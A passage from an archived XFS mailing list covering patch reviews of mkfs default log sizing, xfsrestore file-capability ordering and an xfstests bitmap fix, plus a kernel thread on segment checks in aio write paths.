a/src/randholes.c b/src/randholes.c index 5ad602e..ee5b6b6 100644 --- a/src/randholes.c +++ b/src/randholes.c @@ -437,6 +437,7 @@ main(int argc, char *argv[]) perror("malloc"); return 1; } + memset(valid, 0, size); /* Lots of arguments affect how we open the file */ oflags = test ? O_RDONLY : O_RDWR|O_CREAT; From bfoster@redhat.com Wed Feb 5 13:29:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 105FA7F52 for ; Wed, 5 Feb 2014 13:29:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B5F75AC004 for ; Wed, 5 Feb 2014 11:29:33 -0800 (PST) X-ASG-Debug-ID: 1391628569-04bdf0121d1637e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id JVJ87o09ur7RVMXn for ; Wed, 05 Feb 2014 11:29:29 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s15JTRmL006394 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Feb 2014 14:29:28 -0500 Received: from laptop.bfoster (vpn-58-142.rdu2.redhat.com [10.10.58.142]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s15JTQBH012339 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Feb 2014 14:29:27 -0500 Message-ID: <52F29116.4000201@redhat.com> Date: Wed, 05 Feb 2014 14:29:26 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] mkfs: default log size for small filesystems too large References: <1391579241-32747-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] mkfs: default log size for small filesystems too large In-Reply-To: <1391579241-32747-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391628569 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/05/2014 12:47 AM, Dave Chinner wrote: > From: Dave Chinner > > Recent changes to the log size scaling have resulted in using the > default size multiplier for the log size even on small filesystems. > Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation > of the maximum transaction size that the kernel would issues and > that significantly increased the minimum size of the default log. > As such the size of the log on small filesystems was typically > larger than the prefious default, even though the previous default previous > was still larger than the minimum needed. > Hey Dave, Can you elaborate on what you mean by the previous default being larger than the minimum needed? If that is the case, doesn't that mean the calculations based on the max transaction size are not valid? Perhaps I'm not parsing something here. > Rework the default log size calculation such that it will use the > original log size default if it is larger than the minimum log size > required, and only use a larger log if the configuration of the > filesystem requires it. > > This is especially obvious in xfs/216, where the default log size is > 10MB all the way up to 16GB filesystems. The current mkfs selects a > log size of 50MB for the same size filesystems and this is > unnecessarily large. > > Return the scaling of the log size for small filesystems to > something similar to what xfs/216 expects. > > Signed-off-by: Dave Chinner > --- > mkfs/xfs_mkfs.c | 19 ++++++++++--------- > 1 file changed, 10 insertions(+), 9 deletions(-) > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index d82128c..4a29eea 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -2377,17 +2377,18 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), > logblocks = MAX(min_logblocks, logblocks); > > /* > - * If the default log size doesn't fit in the AG size, use the > - * minimum log size instead. This ensures small filesystems > - * don't use excessive amounts of space for the log. > + * For small filesystems, we want to use the XFS_MIN_LOG_BYTES > + * for filesystems smaller than 16G if at all possible, ramping > + * up to 128MB at 256GB. > */ > - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { > - logblocks = min_logblocks; > - } else { > - logblocks = MAX(logblocks, > - MAX(XFS_DFL_LOG_SIZE, > - min_logblocks * XFS_DFL_LOG_FACTOR)); > + if (dblocks < GIGABYTES(16, blocklog)) { > + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, > + min_logblocks * XFS_DFL_LOG_FACTOR); > } Nit: extra space after tab before the 'if (dblocks < GIGABYTES(...)) {' line... More generally... by the time we get here, min_logblocks is at least XFS_MIN_LOG_BLOCKS and XFS_MIN_LOG_BYTES (if the fs is >=1GB). The only way we would use the min_logblocks based value is if min_logblocks is less than 1/5 of XFS_MIN_LOG_BYTES (due to DFL_LOG_FACTOR). After testing this a bit, creating a 20MB fs with 4k blocks gives me an initial min_logblocks of 853, which works out to ~16MB after DFL_LOG_FACTOR. So this effectively looks like an assignment of XFS_MIN_LOG_BYTES in that case. In the sub 1GB case, we skip the existing XFS_MIN_LOG_BYTES check, but this new block of code just adds it back, at least in the internal log case. Given that, I wonder if this can all be cleaned up to start with some combination of the calculated min_logblocks and defined min blocks/bytes values, and then add the 2048:1 scaling conditionally in the >=16GB case. E.g., I modified the MIN() statement this patch adds to a straight assignment of min_logblocks and xfs/216 still passes. Thoughts? Would that be sufficient here, or am I missing some other scenarios? Brian > + > + if (logblocks >= agsize) > + logblocks = min_logblocks; > + > logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); > if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { > logblocks = XFS_MAX_LOG_BYTES >> blocklog; > From viro@ftp.linux.org.uk Wed Feb 5 13:59:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 820907F52 for ; Wed, 5 Feb 2014 13:59:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 19028AC002 for ; Wed, 5 Feb 2014 11:59:01 -0800 (PST) X-ASG-Debug-ID: 1391630335-04cbb00c2a14dd70001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id 5KzbpOVtF9bCbLqG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 11:58:56 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WB8cI-0005IN-CS; Wed, 05 Feb 2014 19:58:38 +0000 Date: Wed, 5 Feb 2014 19:58:38 +0000 From: Al Viro To: Zach Brown Cc: Kent Overstreet , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140205195838.GO10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> <20140204180040.GI10323@ZenIV.linux.org.uk> <20140204183356.GB11325@lenny.home.zabbo.net> <20140204183609.GK10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204183609.GK10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391630336 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- BTW, why do we still have generic_segment_checks()? AFAICS, *all* paths leading to any ->aio_read/->aio_write instances are either 1) with KERNEL_DS (and base/len are verifiably sane in those cases), or 2) have iovec come from successful {compat,}rw_copy_check_uvector() and through rw_verify_area(), or 3) have single-element iovec with access_ok()/rw_verify_area() checked directly, or 4) have single-element iovec with base/len unchanged from what had been passed to some ->read() or ->write() instance, in which case the caller of that ->read() or ->write() has done access_ok/rw_verify_area And yes, I can prove that for the current tree, modulo a couple of dumb bugs with unchecked values coming via read_code(). Which is called a couple of times per a.out execve() and should be using vfs_read() instead of blindly calling ->read() - it's *not* a hot path and never had been one. With that fixed, we have the following: and call of any instance of ->read()/->write()/->aio_read()/->aio_write() (be it direct or via method) is guaranteed that * all segments it's asked to read/write will satisfy access_ok(). * all segments it's asked to read/write will have non-negative lengths. * total size of all segments will be at most MAX_RW_COUNT. * file offset won't go from negative to zero in the combined area; unless the file has FMODE_UNSIGNED_OFFSET in ->f_mode, it won't go from positive to negative either. So what exactly does generic_segments_check() give us? Is it just that everybody went "well, maybe there's some weird path where we don't do validation; let's leave it there"? Linus? From zab@redhat.com Wed Feb 5 14:43:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B2D8B7F52 for ; Wed, 5 Feb 2014 14:43:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 944A98F804C for ; Wed, 5 Feb 2014 12:43:05 -0800 (PST) X-ASG-Debug-ID: 1391632984-04bdf0121f165ad0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Go6wKCBxvdo1Q6u4 for ; Wed, 05 Feb 2014 12:43:04 -0800 (PST) X-Barracuda-Envelope-From: zab@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s15Kg4e8002486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Feb 2014 15:42:05 -0500 Received: from localhost (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s15Kg3fd006854 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 5 Feb 2014 15:42:04 -0500 Date: Wed, 5 Feb 2014 12:42:03 -0800 From: Zach Brown To: Al Viro Cc: Kent Overstreet , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140205204203.GE11325@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> <20140204180040.GI10323@ZenIV.linux.org.uk> <20140204183356.GB11325@lenny.home.zabbo.net> <20140204183609.GK10323@ZenIV.linux.org.uk> <20140205195838.GO10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140205195838.GO10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391632984 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 > So what exactly does generic_segments_check() give us? Is it just that > everybody went "well, maybe there's some weird path where we don't do > validation; let's leave it there"? Linus? Sounds likely. I'd bet that the btrfs call was just copied from __generic_file_aio_write() when btrfs grew its own .aio_write method: 11c65dccf70be9ace5dbd3906778e1a099b1fee1 Author: Josef Bacik Date: Sun May 23 11:07:21 2010 -0400 Btrfs: do aio_write instead of write It probably amounts to no more than ocount = iov_length(). - z From david@fromorbit.com Wed Feb 5 15:54:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 962AB7F54 for ; Wed, 5 Feb 2014 15:54:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 48DE5AC003 for ; Wed, 5 Feb 2014 13:54:46 -0800 (PST) X-ASG-Debug-ID: 1391637280-04bdf01220167920001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HXO0HYTp64t1GOaB for ; Wed, 05 Feb 2014 13:54:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0IAEWy8lJ5LGaB/2dsb2JhbABZgwyDPrZchVCBDxd0giUBAQUnExwjEAgDDgcDCSUPBSUDIROIBM5tFxaOXweDJIEUBJgqkiKDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 06 Feb 2014 08:24:39 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBAQW-0006Jm-VW; Thu, 06 Feb 2014 08:54:37 +1100 Date: Thu, 6 Feb 2014 08:54:36 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] restore: don't trash file capabilities Message-ID: <20140205215436.GF13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] restore: don't trash file capabilities References: <1391564918-25524-1-git-send-email-david@fromorbit.com> <52F246BF.60302@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F246BF.60302@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391637280 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 09:12:15AM -0500, Brian Foster wrote: > On 02/04/2014 08:48 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > xfsrestore fails to restore file capabilities correctly because it > > sets the owner on the file after it has restored the capability > > attributes. This results in the kernel stripping the capabilities > > when changing the owner of the file and hence the restored file is > > not complete. > > > > Fix this by changing the owner of the file when it is created rather > > than after it has been fully restored. This ensures we don't kill > > the caps as they are restored after the owner it appropriately set. > > This fixes the xfs/296 failure. > > > > Signed-off-by: Dave Chinner > > --- > > restore/content.c | 116 ++++++++++++++++++++++++++++++++++++------------------ > > 1 file changed, 77 insertions(+), 39 deletions(-) > > > > diff --git a/restore/content.c b/restore/content.c > > index 54d933c..b655ed1 100644 > > --- a/restore/content.c > > +++ b/restore/content.c > ... > > @@ -7442,6 +7509,12 @@ restore_reg( drive_t *drivep, > > } > > } > > > > + if (strctxp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { > > + rval = set_file_owner(path, fdp, strctxp); > > + if (rval) > > + return BOOL_TRUE; > > + } > > + > > If this fails (rval == -1), we have unlinked the file and closed the fd > in set_file_owner(). Why return BOOL_TRUE? I've not gone through and > learned what dump/restore is doing, but this path looks like it's going > to continue on with the restore in that scenario. Even if that is what > we want to happen, it seems inconsistent with failure handling in > set_file_owner() and the fact that we skip the rest of this function. If any of the rest of the operations in this function fail, then it keeps trying to do more operations and then finally it returns BOOL_TRUE even after errors have occurred. Because the file has been unlinked and the fd has been closed, we know all further operations are going to fail, so we may as well just return immediately. And if we follow the caller path back, we get back to applynondirdump for (;;) { restore_file treecb_link restore_file_cb restore_reg if (not ok) break; } So, returning BOOL_FALSE in the context above results in tree_cb_link() returning RV_NOT_OK, which results in the stream processing loop in applynondirdump() being aborted. i.e. returning an error restoring a file causes the entire dump stream to be aborted at that point. IOWs, the dump image cannot be restored past that point, hence returning an error of any kind is a bad idea. Mostly complete restores missing just a file (that were reported on during the restore) is much, much better than having restore stop half way through and refusing to go any further. The code is convoluted, obtuse and difficult to read. But we're not going to rewrite it from scratch any time soon so we just have to live with it's craziness. > > - if ( mode != (mode_t)bstatp->bs_mode ) { > > - rval = fchmod( fd, mode ); > > - if ( rval ) { > > - mlog( MLOG_VERBOSE | MLOG_ERROR, > > - _("unable to strip setuid/setgid " > > - "on %s, unlinking file.\n"), > > - path ); > > - unlink( path ); > > - } > > - } > > - } > > + if (strcxtp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { > > + rval = set_file_owner(path, &fd, strcxtp); > > + if (rval) > > + return BOOL_TRUE; > > } > > Ok, so we handle both set_file_owner() situations because the ordering > here is really only important for regular files. IIUC, this particular > block is still required for that non-ifreg case. Though, in the failure > case, it looks like we're leaking the fd by returning now. set_file_owner() closes the fd on error, immediately after unlinking the file. Hence there is no fd leak in the error path. And, again, we return BOOL_TRUE because that's what all the other paths return even on error. And, in fact, none of the callers even look at the error returned, so it's pretty much irrelevant in this function. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 5 16:56:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 193A57F55 for ; Wed, 5 Feb 2014 16:56:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1FD4AC002 for ; Wed, 5 Feb 2014 14:55:56 -0800 (PST) X-ASG-Debug-ID: 1391640954-04bdf0121e169000001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kB6I2RRNHfSbzIm9 for ; Wed, 05 Feb 2014 14:55:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0IAGDA8lJ5LGaB/2dsb2JhbABZgwyDPrZehVCBDxd0giUBAQQBOhwjBQsIAw4HAwklDwUlAyETh30HznMXFo5fB4Q4BJgqkiKDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 06 Feb 2014 09:25:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBBNk-0006TX-FT; Thu, 06 Feb 2014 09:55:48 +1100 Date: Thu, 6 Feb 2014 09:55:48 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] mkfs: default log size for small filesystems too large Message-ID: <20140205225548.GG13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] mkfs: default log size for small filesystems too large References: <1391579241-32747-1-git-send-email-david@fromorbit.com> <52F29116.4000201@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F29116.4000201@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391640954 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144876 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 02:29:26PM -0500, Brian Foster wrote: > On 02/05/2014 12:47 AM, Dave Chinner wrote: > > From: Dave Chinner > > > > Recent changes to the log size scaling have resulted in using the > > default size multiplier for the log size even on small filesystems. > > Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation > > of the maximum transaction size that the kernel would issues and > > that significantly increased the minimum size of the default log. > > As such the size of the log on small filesystems was typically > > larger than the prefious default, even though the previous default > previous > > was still larger than the minimum needed. > > > > Hey Dave, > > Can you elaborate on what you mean by the previous default being larger > than the minimum needed? If that is the case, doesn't that mean the > calculations based on the max transaction size are not valid? Perhaps > I'm not parsing something here. The previous change for calculating the minimum log size also changed the default log size at the same time. i.e. it changed it to min_logblocks * XFS_DFL_LOG_FACTOR if that fit inside an AG. Here's an example with small AGs (25MB). Current mkfs: # mkfs.xfs -f -d size=100m /dev/vdc |grep log log =internal log bsize=4096 blocks=4265, version=2 That's a 17MB log in a 100MB filesystem. Way too large, and here's what prompted this patch: # mkfs.xfs -f -d size=100m,sunit=512,swidth=2048 /dev/vdc |grep log log =internal log bsize=4096 blocks=1728, version=2 i.e add stripe unit alignment, and the log gets 3x smaller. Say what? The new mkfs gives: # ~/packages/mkfs.xfs -f -d size=100m /dev/vdc |grep log log =internal log bsize=4096 blocks=2560, version=2 # ~/packages/mkfs.xfs -f -d size=100m,sunit=512,swidth=2048 /dev/vdc |grep log log =internal log bsize=4096 blocks=2560, version=2 a 10MB log, which is consistent but arguably still too large for a 100MB filesystem. So, what did we used to do in the 3.1.x series? # apt-get install xfsprogs/stable # mkfs.xfs -f -d size=100m /dev/vdc |grep log log =internal log bsize=4096 blocks=1200, version=2 # mkfs.xfs -f -d size=100m,sunit=512,swidth=2048 /dev/vdc |grep log log =internal log bsize=4096 blocks=1216, version=2 Ok, so historically it's been min_logblock sized.... > > Rework the default log size calculation such that it will use the > > original log size default if it is larger than the minimum log size > > required, and only use a larger log if the configuration of the > > filesystem requires it. > > > > This is especially obvious in xfs/216, where the default log size is > > 10MB all the way up to 16GB filesystems. The current mkfs selects a > > log size of 50MB for the same size filesystems and this is > > unnecessarily large. > > > > Return the scaling of the log size for small filesystems to > > something similar to what xfs/216 expects. > > > > Signed-off-by: Dave Chinner > > --- > > mkfs/xfs_mkfs.c | 19 ++++++++++--------- > > 1 file changed, 10 insertions(+), 9 deletions(-) > > > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > > index d82128c..4a29eea 100644 > > --- a/mkfs/xfs_mkfs.c > > +++ b/mkfs/xfs_mkfs.c > > @@ -2377,17 +2377,18 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), > > logblocks = MAX(min_logblocks, logblocks); > > > > /* > > - * If the default log size doesn't fit in the AG size, use the > > - * minimum log size instead. This ensures small filesystems > > - * don't use excessive amounts of space for the log. > > + * For small filesystems, we want to use the XFS_MIN_LOG_BYTES > > + * for filesystems smaller than 16G if at all possible, ramping > > + * up to 128MB at 256GB. > > */ > > - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { > > - logblocks = min_logblocks; > > - } else { > > - logblocks = MAX(logblocks, > > - MAX(XFS_DFL_LOG_SIZE, > > - min_logblocks * XFS_DFL_LOG_FACTOR)); > > + if (dblocks < GIGABYTES(16, blocklog)) { > > + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, > > + min_logblocks * XFS_DFL_LOG_FACTOR); > > } > > Nit: extra space after tab before the 'if (dblocks < GIGABYTES(...)) {' > line... Oops. Will fix. > More generally... by the time we get here, min_logblocks is at least > XFS_MIN_LOG_BLOCKS and XFS_MIN_LOG_BYTES (if the fs is >=1GB). The only > way we would use the min_logblocks based value is if min_logblocks is > less than 1/5 of XFS_MIN_LOG_BYTES (due to DFL_LOG_FACTOR). After > testing this a bit, creating a 20MB fs with 4k blocks gives me an > initial min_logblocks of 853, which works out to ~16MB after > DFL_LOG_FACTOR. So this effectively looks like an assignment of > XFS_MIN_LOG_BYTES in that case. Good point - I hadn't considered the initial >1GB check much further up the stack, and that explains the difference between my patch and the 3.1.x code. > In the sub 1GB case, we skip the existing XFS_MIN_LOG_BYTES check, but > this new block of code just adds it back, at least in the internal log case. Right, this would handle it, I think. if (dblocks < GIGABYTES(1, blocklog)) { logblocks = min_logblocks; else if (dblocks < GIGABYTES(16, blocklog)) { logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, min_logblocks * XFS_DFL_LOG_FACTOR); } else { /* * With a 2GB max log size, default to maximum size * at 4TB. This keeps the same ratio from the older * max log size of 128M at 256GB fs size. IOWs, * the ratio of fs size to log size is 2048:1. */ logblocks = (dblocks << blocklog) / 2048; logblocks = logblocks >> blocklog; logblocks = MAX(min_logblocks, logblocks); } Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 5 17:02:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6DB597F55 for ; Wed, 5 Feb 2014 17:02:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 51BBA304084 for ; Wed, 5 Feb 2014 15:02:46 -0800 (PST) X-ASG-Debug-ID: 1391641364-04bdf0121f169290001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id hCP2vl7SNGobmNuO for ; Wed, 05 Feb 2014 15:02:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0IALXC8lJ5LGaB/2dsb2JhbABZgwyDPrZehVCBCRd0giUBAQU6HCMQCAMYCSUPBSUDIROIBM54FxaOXweEOASYKpIig0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 06 Feb 2014 09:32:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBBTp-0006V7-9E; Thu, 06 Feb 2014 10:02:05 +1100 Date: Thu, 6 Feb 2014 10:02:05 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfstests: initialize "valid" bitmap in randholes.c Message-ID: <20140205230205.GH13997@dastard> 